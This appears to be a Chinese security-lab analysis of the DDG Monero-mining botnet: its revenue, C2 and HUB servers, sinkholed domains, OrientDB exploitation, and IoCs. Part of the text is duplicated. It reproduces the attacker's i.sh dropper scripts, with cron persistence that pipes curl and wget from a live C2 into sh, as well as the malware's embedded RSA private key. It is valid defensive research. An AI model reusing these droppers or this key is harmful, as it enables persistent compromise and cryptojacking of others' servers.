src="__GHOST_URL__/content/images/2017/11/orientdb_exp1.png" class="kg-image" alt loading="lazy"></figure><p>样本利用漏洞最后执行的 Payload 如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/orientdb_rce_exp.png" class="kg-image" alt loading="lazy"></figure><h6 id="--1">第一阶段</h6><p>DDG 在 C2 （218.248.40.228 India/IN AS9829）上提供了云端配置文件： hxxp://218.248.40.228:8443/i.sh</p><p>该 i.sh 配置文件有多次变化，但是内容大同小异。下面是一个早期版本，其功能主要是：</p><ul><li>将本地 Crontab 内容与远程服务器上的 i.sh 保持同步</li><li>从远程服务器下载 ddg 样本到本地并执行</li><li>检查本地的 ddg 的历史版本进程，并杀掉</li></ul><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2011" ]; then
curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011
fi
chmod +x /tmp/ddg.2011 && /tmp/ddg.2011
#if [ ! -f "/tmp/ss2480.2" ]; then
#curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2
#fi
#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2
ps auxf | grep -v grep | grep ss2480.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011
</code></pre><p>由 i.sh 脚本内容可知，攻击者只需更新其中的样本下载地址，便可以灵活地向失陷主机投放任意恶意软件。根据我们的监控，该云端配置文件确实会不定时更新，用以投放新版木马文件，或者投放集成新的攻击方式的恶意软件。其投递的恶意软件包括：</p><ul><li><strong>DDG 样本</strong>：即 ddg.$(uname -m) 系列样本，这是长期投递的攻击载荷，我们监测到 v2011、v2020 和 v2021 共 3 个大版本</li><li><strong>ss22522</strong> 系列样本：短时间内投递过，针对Struts2 漏洞 S2-052</li><li><strong>ss2480</strong> 系列：短时间内投递过，是针对 OrientDB 漏洞的攻击样本，正是这个样本在短时间内的大规模扫描暴露了自己</li></ul><p>另外，早期版本中 kill 命令前面没有 xargs，进程并不会真正被杀死，在后期版本上这个 xargs 被加了进去，修复了这个问题。</p><p>2018.1.3 日，攻击者上线了最新的 i.sh(v2021.2)，新增了另外一个挖矿木马 <strong>imWBR1</strong>，正是该木马中内置了前文列出的第二个 XMR 钱包地址 :</p><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2021" ]; then
curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
fi
if [ ! -f "/tmp/ddg.2021" ]; then
wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
fi
chmod +x /tmp/ddg.2021 && /tmp/ddg.2021
if [ ! -f "/tmp/imWBR1" ]; then
curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
fi
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
</code></pre><h6 id="--2">第二阶段</h6><p>ddg 样本中内置了一个 <strong>hub_iplist.txt</strong> 文件，其中包含了上百个 <code>hub_ip:8443</code> 的列表。经我们排查，这些 hub_ip 对应的主机，多是常规网站服务器，都被攻击者入侵而沦为攻击者的肉鸡。</p><p>在这个阶段，ddg 会依次尝试连接 hub_iplist.txt 里的 hub_ip，如果成功连接某个 hub_ip ，ddg 就会访问 <code>http://<hub_ip>:8443/wnTKYg</code> 下载对应的 Miner 程序 wnTKYg 并启动（如果本机 CPU 不支持 <strong>AES-NI</strong>，还会下载 <strong>wnTKYg.noaes</strong>）。ddg 尝试连接 hub_ip 的过程抓包如下： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/hub_conn.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/smux_defaultconf.png" class="kg-image" alt loading="lazy"></figure><p>所以在 ddg 从 hub_ip 下载 Miner 并启动后的 <a href="https://github.com/xtaci/smux/blob/ebec7ef2574b42a7088cd7751176483e0a27d458/session.go#L284">KeepAlive</a> 阶段，就会每隔 10s 向已连接的 hub_ip 发 2 个数据包：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/hub_keepalive.png" class="kg-image" alt loading="lazy"></figure><h3 id="-hub_iplist-txt"><strong>样本中内置的 hub_iplist.txt</strong></h3><p>i.sh 文件中的 ddg 样本下载 URL 是 <code>hxxp://218.248.40.228:8443/2011/ddg.$(uname -m)</code>。ddg 文件V2011内置的 hub_iplist.txt 中有 158 个 hub_ip:8443 和 3 个 hub_domain:8443 列表，其中 2 个 Domain 未注册，然后被我们注册并 Sinkhole。</p><p>2017-11-10 我们发现 i.sh 文件内容有变化，ddg 样本最新的下载链接变成了 <code>hxxp://218.248.40.228:8443/2020/ddg.$(uname -m)</code> 。我们排查后发现是 ddg 内置的<br>hub_iplist.txt 内容有变化，估计是之前我们 Sinkhole 了黑客未注册的域名被他们发觉，他们重新上线了一批 hub_ip，替换掉了全部的 hub_ip。</p><h3 id="ddg-mining-botnet-redis-ssh-"><strong>DDG Mining Botnet 的攻击目标，还曾瞄准 Redis 数据库与 SSH 服务</strong></h3><p>以上分析中，DDG 的攻击目标集中在 OrientDB 上。</p><p>事实上，ddg 木马中的 <code>ddg.$(uname -m)</code> 系列样本还可以对 SSH 服务和 Redis 服务发起扫描&暴破攻击，这也是 ddg 一直以来入侵用户主机的主要手段。样本中内置的部分相关函数以及暴破字典如下两图所示：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/redis_ssh_funcs.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/auth_dict.png" class="kg-image" alt loading="lazy"></figure><p>样本中还有内置的 3 个 x509 证书 / 密钥文件如下：</p><ul><li>slave.pem</li><li>ca.pem</li><li>slave.key</li></ul><p>详细内容见文末 IoC 部分。</p><p>回溯历史数据时，我们还能看到 i.sh 的 host 218.248.40.228 在更早期扫描 Redis 数据库的痕迹。互联网上也偶尔会有受害者曝光自己服务器中了 ddg 木马被用来挖矿。 下表是 218.248.40.228 在 2017-09-27 20:00:00 ~ 2017-10-25 11:00:00 期间扫描端口的分布情况。</p><p>按照扫描次数排序，6379, 7379，2480, 三个端口分别 Redis, Redis(Replicas), OrientDB 数据库服务：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/5_historical_scanning_port_by_i_sh_host.png" class="kg-image" alt loading="lazy"></figure><h3 id="--3"><strong>近况</strong></h3><p>北京时间 2018.1.25 日 21 点左右，<code>hxxp://218.248.40.228:8443/2011/ddg.x86_64</code> 的样本更新，MD5 为 <strong>cbc4ba55c5ac0a12150f70585af396dc</strong>，是一个 Mirai 家族的样本。</p><p>Mirai C2 为 <code>linuxuclib.com:8080</code> 。</p><p>另外一个硬编码明文 C2 <code>jbeupq84v7.2y.net</code> 目前在在DNS系统中没有配置解析IP地址。</p><h3 id="ioc"><strong>IoC</strong></h3><p>C2:</p><pre><code>202.181.169.98:8443
218.248.40.228:8443
linuxuclib.com:8080
jbeupq84v7.2y.net
</code></pre><p>样本 MD5:</p><pre><code>b1201bf62f3ca42c87515778f70fd789 ddg.i686 --> v2011
7705b32ac794839852844bb99d494797 ddg.x86_64 --> v2011
1970269321e3d30d6b130af390f2ea5c ddg.i686 --> v2020
5751440a2b3ce1481cf1464c8ac37cbe ddg.x86_64 --> v2020
f52f771c5b40a60ce344d39298866203 ddg.i686 --> v2021
3ea75a85bab6493db39b1f65940cc438 ddg.x86_64 --> v2021
b0c6cefa1a339437c75c6b09cefeb2e8 ss2480.1
8c31b6379c1c37cf747fa19b63dd84a1 ss2480.2
4fc28b8727da0bcd083a7ac3f70933fa ss22522.2
d3b1700a413924743caab1460129396b wnTKYg
8eaf1f18c006e6ecacfb1adb0ef7faee wnTKYg.noaes
9ebf7fc39efe7c553989d54965ebb468 imWBR1
</code></pre><p>样本下载链接：</p><pre><code>hxxp://218.248.40.228:8443/2011/ddg.i686
hxxp://218.248.40.228:8443/2011/ddg.x86_64
hxxp://218.248.40.228:8443/2020/ddg.i686
hxxp://218.248.40.228:8443/2020/ddg.x86_64
hxxp://218.248.40.228:8443/2021/ddg.i686
hxxp://218.248.40.228:8443/2021/ddg.x86_64
hxxp://218.248.40.228:8443/i.sh
hxxp://218.248.40.228:8443/ss22522.2
hxxp://218.248.40.228:8443/ss2480.1
hxxp://218.248.40.228:8443/ss2480.2
hxxp://218.248.40.228:8443/wnTKYg
hxxp://202.181.169.98:8443/2011/ddg.i686
hxxp://202.181.169.98:8443/2011/ddg.x86_64
hxxp://202.181.169.98:8443/i.sh
hxxp://202.181.169.98:8443/ss22522.2
hxxp://202.181.169.98:8443/ss2480.1
hxxp://202.181.169.98:8443/ss2480.2
hxxp://202.181.169.98:8443/wnTKYg
hxxp://218.248.40.228:8443/imWBR1
</code></pre><p>ip_hublist(v2011): <a href="__GHOST_URL__/file/ip_hublist__2011.txt">ip_hublist__2011.txt</a></p><p>ip_hublist(v2020~v2021): <a href="__GHOST_URL__/file/ip_hublist__2020.txt">ip_hublist__2020.txt</a></p><p>三个 x509 证书/密钥文件：</p><p>slave.pem</p><pre><code>-----BEGIN CERTIFICATE-----
MIICozCCAYsCCQDFoT3X3cNwiDANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAh3
ZS1hcy1jYTAeFw0xNzA3MTcwMTM2MjhaFw0yNzA3MTUwMTM2MjhaMBQxEjAQBgNV
BAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1w
9s7u1BrQSxJEkqCkJLl+qnw4XPL+GgCimso6WWvie8gr3AFiSDUFMVsbOOlGVXJD
CAaYStw6Wkn09cjAczNW9Ysq4EOurpGmCDdViftu+5zu2Zmz88p1/ta3BuytQlfE
Qll6IFjNLSPOAaIwaWcQFXN/OlCPJZ7wvdo5aXFgVkvFplXogQiFLdKn3PgtDiNy
EZct1/GgkYkgMTiymGrhXyj6/Eca28IsTydwU5h2fkkAIwnYpyeeEdcxsLmmFmfE
G5x1mNsmUPnvMU7/qULmchVJ16pne06rNREApbuhm/XrhaDjphK8CNbUDWNXCWIR
SKUl5bMoq5XnrvKc98kCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAg/G9vqIRz4rC
niH49gSwFzBhH9tCXyBtHj86WMb2hi9myzFGE4joMhWp7OK3lwWq18kbukPk0TBz
N9Mxrvvr0REBMPa1Q7VAq5ouFHw4WcIyzi1Ksw0SmFjaRCGqJTWQnG8lz+aIN8NX
/i1KBWPbrnZGFfLdcKUmKrIXt6I3S1kb3jhJvlTOTjfr/iPlAMjVE9+tdgmy0Bsh
Mon9ctFwFj0sLhkcuyXU33ItkX5am2qmG7ToCoUj855JEm06T6PSakRLvodAsZfp
Jmto1aFjT/7HS5ImcOrd1WWXU76cSZN5GENRcsIzmA3pq6dVKFfSwsAOMw5zQcTS
uDpcOCRjJg==
-----END CERTIFICATE-----
</code></pre><p>ca.pem</p><pre><code>-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAK1DRcYUFowVMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCHdlLWFzLWNhMB4XDTE3MDcxNzAxMzYyOFoXDTQ0MTIwMjAxMzYyOFowEzER
MA8GA1UEAwwId2UtYXMtY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCz6Iaprhnb68CEPCJzU1uCplIMQWuMtpuamV/M4T1G0A0qPHLsCPbnS+psuSwK
Tnp3XBDEdTbhm33/FfLXeEfEmJlVX4lJfPk7XPT/UwgJ1OgGVegxNndPd+FQf1oX
5ePSEmGZQRy9gkRQtCpSmO11AO8bbZY+WhHzvb3VQmu6rBAVCnzhPmBBlXsoyJfI
oRVX5FEwCMZXuKHVd2N/Q8XBEFX6TGICEAwSCu69QYG7eFMleLgCxFRJ1xOXfPvD
x++depGUDpR9PrsTQ6Oh3BIicuWHfj72tiooVW1mGG8yAqDfb1kBa5gq8jZM13Nx
gK0aRbZiJFreFj8Ed05LlPdnAgMBAAGjUzBRMB0GA1UdDgQWBBRL9zCbPXsgyxFe
oZYZtZmjvAyqbDAfBgNVHSMEGDAWgBRL9zCbPXsgyxFeoZYZtZmjvAyqbDAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBFne95zt54uyUn2ZtdUUHH
Oh3ODsCx+hL4DWsyaVa1l9PTW1es58+VGPFr4JYKj5DDj1FebYW/k0DAt6G4ehVg
pfYW23lYbwfbs1gFKaUVX1gb0U0BsLlXGJ5dVlnY09Z3RGZ1nf0U6VgTbleDc/M6
Cax7dvyn2a+2BJLxl3QCUVye6PJw33Hjjl8xfMTEv3RKoxeYP0Prgrmmg/gmr7hs
doWJBMflCWmwZJKhtdYAKMkFnprNH4h8ryqsWeO928ZHbHbxej15Rv9BjXIg4XnF
tEIvhZUJ3tj4OvK8X6hJf0ZsI/3H1ffvTHyIX4UnYgGqMFlHSBXMhOIiXed6+xsP
-----END CERTIFICATE-----
</code></pre><p>slave.key</p><pre><code>-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3XD2zu7UGtBLEkSSoKQkuX6qfDhc8v4aAKKayjpZa+J7yCvc
AWJINQUxWxs46UZVckMIBphK3DpaSfT1yMBzM1b1iyrgQ66ukaYIN1WJ+277nO7Z
mbPzynX+1rcG7K1CV8RCWXogWM0tI84BojBpZxAVc386UI8lnvC92jlpcWBWS8Wm
VeiBCIUt0qfc+C0OI3IRly3X8aCRiSAxOLKYauFfKPr8RxrbwixPJ3BTmHZ+SQAj
CdinJ54R1zGwuaYWZ8QbnHWY2yZQ+e8xTv+pQuZyFUnXqmd7Tqs1EQClu6Gb9euF
oOOmErwI1tQNY1cJYhFIpSXlsyirleeu8pz3yQIDAQABAoIBAQCTltbo1QVJWcqv
QkT4DG7tsx6t7GMHEZUDF11Tq9Att6YIpDLeOUMnE27x6hLkZ5xLq6GNw7MhVUMY
R8wJITum3C6LsugGNEbljGOtfbWZfz70Ob2OVAIIztwq/5H97PxqwsP2Hw+wIBAV
7RfpoZqetnmVoRac2suYQ5xF9j3w8acpCZdU2jCvbMNADdOtCkXBXcD9nGU0d9dN
Z+qajp7otDw1DbQ381x6YDEu0g9CJhXdVfqK0skOs9KTrATxLBw4u6UmIP7fNAoH
p9OXzp6gzzl4mLR05SWm1pcjuoqxL88wIPYtcfKo8Z4CxZhx2oPTiQ0JUiVHUvPh
OZwu2GSBAoGBAPFscPODr2H4dFFKK6uYb2ZRY6WSOiL31o1LCZ3a4lDJS7fvncZK
OiyG/RQIt0k68UQHNxte0VOHiaGqCaHlfikS/KN5WyQeaRmH+MKxp+atGvKXmURV
+uWK37GCIDzqTDPtu9UiAxQOOJQZCvGh40lc35v2aJGKpkD4+IaEDpDXAoGBAOrP
qpei2+DtwougNA9FTxS3Z34NCCIHT0rqoogZZirMy6M7LnUoWAgMIUjpENK7uxma
nNEWagv5XrLmFbjC/UaTF5BR9CrX0orto2CNA2upN+7Y6wNnB1ed7sjLubDEPNXv
JeZsoz4G7TDq9oXE54a8idFVePn8q1RdRvHOdYhfAoGAbMgqFO+vJPvonYBIMSec
eoQN3FsJKxx1ZnD7Qk+QTkqFfbnQY7qqf8nLWy2aOLsAX2DI6eJNe8/Eqj2N3Y8k
y6ksgRR7hsjVHpXv9vpJ51z0mX7Jpsr/JFLw/HDfydLgxz1Ft4F91Zma0NB/5+TE
HxhkAUiEUaAhzYDhquryDT0CgYAP0YOdiYQkh//mJhm7uaCVNbHMJRaaLEHkOyBN
6OAgHAHP8kmz7M7ZY+/OGJ1ghPMay3arA0aLnfYKOUPXWZN0cK5Ss6KuTDHL2Cx8
caN8Wj8BYS2b4hH1jhcrAcZ1qRKsGttDxafNouvRstJ+uoAabJMgPhDTTnlASrRf
z9fNIwKBgCM3UzxVsRyoYx7rpCQ7QSX6SHsM0cNjWDRw5aMziQmyI+sitwOPAVek
O+XvIXIzdahNBhQQ0giFKWh/b7fq2aNB1J+5TtAcEFTFFk9LC3l/U7Mk0nhUsh6G
pEcsRlnc4GpFeelJtj/c1BHBbX7HSdB8osk3GDyUwX1KVlbxZ4dk
-----END RSA PRIVATE KEY-----</code></pre> | 从 2017-10-25 开始，我们监控到有恶意代码在大规模扫描互联网上的 OrientDB 数据库服务器。进一步的分析发现，这是一个长期运营的僵尸网络，其主要目标是挖取门罗币（XMR，Monero CryptoCurrency）。我们将其命名为 DDG 挖矿僵尸网络 （DDG Mining Botnet，以下简称 DDG） ，主要原因是因为其核心功能模块的名称为 DDG。
DDG 累积挖取的门罗币数目较大。目前我们能够确认该僵尸网络累积挖取的已经超过 3,395枚门罗币，按当前价格折合人民币 ￥5,821,657 。另外因为矿池记账系统的问题，有2,428枚 XMR不能完全确认是否归属 DDG，按当前价格折合人民币 ￥4,163,179。DDG 是目前我们视野范围内门罗币收益第二大的僵尸网络，第一大的是我们之前报告的 MyKings 僵尸网络。
DDG 的结构上，除了僵尸网络中常见的 C2 和 bot，还有一个很有意思的 HUB 的设定。HUB 是一组 IP或者域名，用来提供挖矿二进制程序的下载。在 DDG 持续的更新过程中，其 v2011 版本的 HUB 列表中，有两个域名被列出但是未被注册，我们抢先注册并Sinkhole了这两个域名。虽然我们不可以通过这两个域名 Sinkhole 来接管该僵尸网络，但是可以基于 Sinkhole 数据对整个 DDG 僵尸网络的规模做一个精确的度量。
DDG Mining Botnet 的挖矿收益
DDG 在挖矿时使用如下矿池地址：
* https://monero.crypto-pool.fr/
其使用的钱包地址有三个，如下：
* Wallet #1 4AxgKJtp8TTN9Ab9JLnvg7BxZ7Hnw4hxigg35LrDVXbKdUxmcsXPEKU3SEUQxeSFV3bo2zCD7AiCzP2kQ6VHouK3KwnTKYg
* Wallet #2 45XyPEnJ6c2STDwe8GXYqZTccoHmscoNSDiTisvzzekwDSXyahCUmh19Mh2ewv1XDk3xPj3mN2CoDRjd3vLi1hrz6imWBR1
* Wallet #3 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM
其中，Wallet #3 是最先开始活跃的钱包地址，高峰期在 2017.02～2017-03；随后是 Wallet #1，持续了2017一整年； Wallet #2 是最近出现的，我们首次观察到的时间是 2018-01-03。
全部三个钱包的收入如下表所示，共计收入 3395 或者 5760 的门罗币，这些代币今天价值人民币 580万 或者 980万。注意：在第二个钱包付费记录中，"Total Paid"与逐笔交易累积得到的 "Amount Summary" 并不一致，我们无从确认哪个数字更准确，因此把两个数字都记录了下来。
DDG Mining Botnet 的攻击阶段和结构划分
通过分析样本及其行为，我们能够描绘 DDG Mining Botnet 的攻击过程如下：
上图中，DDG Mining Botnet 的攻击过程可以分为几个阶段：
* 扫描阶段：攻击者（ ss2480.2 ）利用 OrientDB 数据库的已知 RCE 漏洞，投入攻击载荷；
* 第一阶段：攻击者修改本地 Crontab 定时任务，下载执行主要服务器上的 i.sh ( hxxp://218.248.40.228:8443/i.sh) ，并保持每 5 分钟同步。此 i.sh 会继续从同一服务器上下载运行 ddg 样本
* 第二阶段：ddg 会依次连接内置 hub_iplist.txt 文件里的 hub_ip，然后从可以成功连接的 hub_ip 上下载对应的 Miner 程序 wnTKYg（如果本机 CPU 不支持 AES-NI，还会下载 wnTKYg.noaes）。这个程序的命名，恰好是其钱包地址的尾部。
* 挖矿阶段：Miner 程序开始与矿池通信，利用失陷主机的计算资源，为攻击者的钱包开始挖矿。
上述结构中，除了僵尸网络中常见的 C2 和 bot 以外，还有一个很有意思的 HUB。攻击者使用 HUB 上的多个IP或者域名来提供挖矿程序的下载。我们观察到 DDG 运营者会不时更新这些 HUB 的IP和域名，来源大部分是失陷主机。全部的 HUB 列表见文末。
关于这个 HUB 另一个有意思的地方，是我们注意到 v2011 版本中三个域名中的两个在当时是未注册的，如下。这两个域名被我们注册并 Sinkhole，后来我们意识到，我们可以通过这两个 HUB Sinkhole 上的到的数据来精确度量整个 DDG 僵尸挖矿网络。
* defaultnotepad567[.]com
* unains1748[.]com 未注册
* 5dba35bsmrd[.]com 未注册
下面我们分别介绍 DDG 僵尸网络的 C2， HUB， 和 Bot。其中 Bot 部分的数据，会使用来自Sinkhole 的数据。
DDG 僵尸网络的 C2
DDG 僵尸网络使用如下 C2 保持对设备的长期控制：
* 202.181.169.98:8443/i.sh
* 218.248.40.228:8443/i.sh
其中后者来自印度，AS9829，一直在使用，两年来没有变过；前者来自香港，AS7540，仅在早期短暂使用。
DDG 僵尸网络的 HUB，以及我们的 HUB Sinkhole
DDG 僵尸网络使用 HUB_IP:8443\wnTKYg 提供挖矿程序下载。我们监控到的两个版本的 HUB 详细列表见文末 IoC 部分，其国家分布如下表所示。可见大部分受害者位于中国。
如前所述，我们在监控其 v2011 版本的时候，发现其中两个域名没有注册，unains1748[.]com 和 5dba35bsmrd[.]com 。我们注册了这两个域名，合并到我们的 Sinkhole 池中，并几乎立刻看到有 IP 开始连接这两个域名，后来我们确认来连接的这些 IP 均是被 DDG 感染的主机。
这样至少我们可以利用 HUB Sinkhole 来度量 DDG 的规模。那么，我们的 Sinkhole 能看到 DDG 僵尸网络的多大部分呢，是盲人摸象看到一部分？还是全部？
我们仔细检查了 DDG 的运行机制，并且确认无论被感染的 bot 最终从 HUB 上的哪个部分下载挖矿程序，这些 bot 都会检查 HUB 上的全部 IP 和域名的连通性。这意味着，我们可以 看到 DDG 全部的被感染设备，并进一步利用这些数据对 DDG 僵尸网络做精确的度量。
可惜的是，我们注册 Sinkhole 的行动被 DDG 运营者发现了，他们随后发布了 DDG 的更新版本，更新了全部的 HUB IP列表，将我们的 Sinkhole 从僵尸网络内部踢了出来。
另外一方面，从 bot 的代码逻辑来看，创造合适的条件，会使得被感染的 bot 尝试从我们的 sinkhole 下载并运行挖矿程序....嗯，这个话题我们就讨论到这里，白帽子一定要带头做遵纪守法的好公民。
DDG 僵尸网络的 Bot
我们可以使用 HUB Sinkhole 的数据来精确度量 DDG 僵尸网络的感染规模。为避免滥用，全部受害者 IP 列表不会公开。
我们共记录了4391 个受害者IP地址，来自各个国家，最主要的受害者集中在中国(73%)和美国(11%)：
从网络自治域分布来看，国内各主要云计算服务商均有出现，国外若干互联网巨头公司也有少量中招。总体来看，因为 DDG 投入时是利用数据库服务器的错误配置或者漏洞利用，云服务厂商既往确实不容易防范。建议后续云服务厂商考虑加强这方面的防御措施。
受害者一段时间内对上述 2 个域名的 DNS 请求趋势如下。尾部曲线快速下降，对应僵尸网络运营者更新版本的时段。
利用 DNSMon 感知这三个域名的异常访问
我们的 DNSMon 也感知到了这三个域名的异常，下面两张图分别展示这三个域名流量访问曲线高度拟合，并且在访问时序上有强烈的相关性：
DDG Mining Botnet 攻击过程详细剖析
扫描
DDG Mining Botnet 的扫描和入侵阶段由样本 ss2480.2 完成。ss2408.2 首先会根据一定策略生成 Target IP 并扫描 Target IP 的 2480 端口，最后会利用 OrientDB 的 RCE 漏洞 CVE-2017-11467 实施入侵。
ss2480.2 会先扫描内网网段，然后扫描公网网段。生成的内网网段 Target IP 范围如下：
* 10.Y.x.x/16 (Y 为当前内网 IP B 段的值)
* 172.16.x.x/16
* 192.168.x.x/16
样本中生成内网 Target IP 的部分代码如下：
结束对内网的扫描之后，ss2480.2 会访问 hxxp://v4.ident.me 获取当前主机的公网 IP 地址 WAN_IP ，然后在 WAN_IP/8 范围内生成公网 Target IP 发起扫描。样本中生成公网 Target IP 时，会过滤掉保留地址段：
样本利用漏洞最后执行的 Payload 如下：
第一阶段
DDG 在 C2 （218.248.40.228 India/IN AS9829）上提供了云端配置文件： hxxp://218.248.40.228:8443/i.sh
该 i.sh 配置文件有多次变化，但是内容大同小异。下面是一个早期版本，其功能主要是：
* 将本地 Crontab 内容与远程服务器上的 i.sh 保持同步
* 从远程服务器下载 ddg 样本到本地并执行
* 检查本地的 ddg 的历史版本进程，并杀掉
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2011" ]; then
curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011
fi
chmod +x /tmp/ddg.2011 && /tmp/ddg.2011
#if [ ! -f "/tmp/ss2480.2" ]; then
#curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2
#fi
#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2
ps auxf | grep -v grep | grep ss2480.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011
由 i.sh 脚本内容可知，攻击者只需更新其中的样本下载地址，便可以灵活地向失陷主机投放任意恶意软件。根据我们的监控，该云端配置文件确实会不定时更新，用以投放新版木马文件，或者投放集成新的攻击方式的恶意软件。其投递的恶意软件包括：
* DDG 样本：即 ddg.$(uname -m) 系列样本，这是长期投递的攻击载荷，我们监测到 v2011、v2020 和 v2021 共 3 个大版本
* ss22522 系列样本：短时间内投递过，针对Struts2 漏洞 S2-052
* ss2480 系列：短时间内投递过，是针对 OrientDB 漏洞的攻击样本，正是这个样本在短时间内的大规模扫描暴露了自己
另外，早期版本中 kill 命令前面没有 xargs，进程并不会真正被杀死，在后期版本上这个 xargs 被加了进去，修复了这个问题。
2018.1.3 日，攻击者上线了最新的 i.sh(v2021.2)，新增了另外一个挖矿木马 imWBR1，正是该木马中内置了前文列出的第二个 XMR 钱包地址 :
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2021" ]; then
curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
fi
if [ ! -f "/tmp/ddg.2021" ]; then
wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
fi
chmod +x /tmp/ddg.2021 && /tmp/ddg.2021
if [ ! -f "/tmp/imWBR1" ]; then
curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
fi
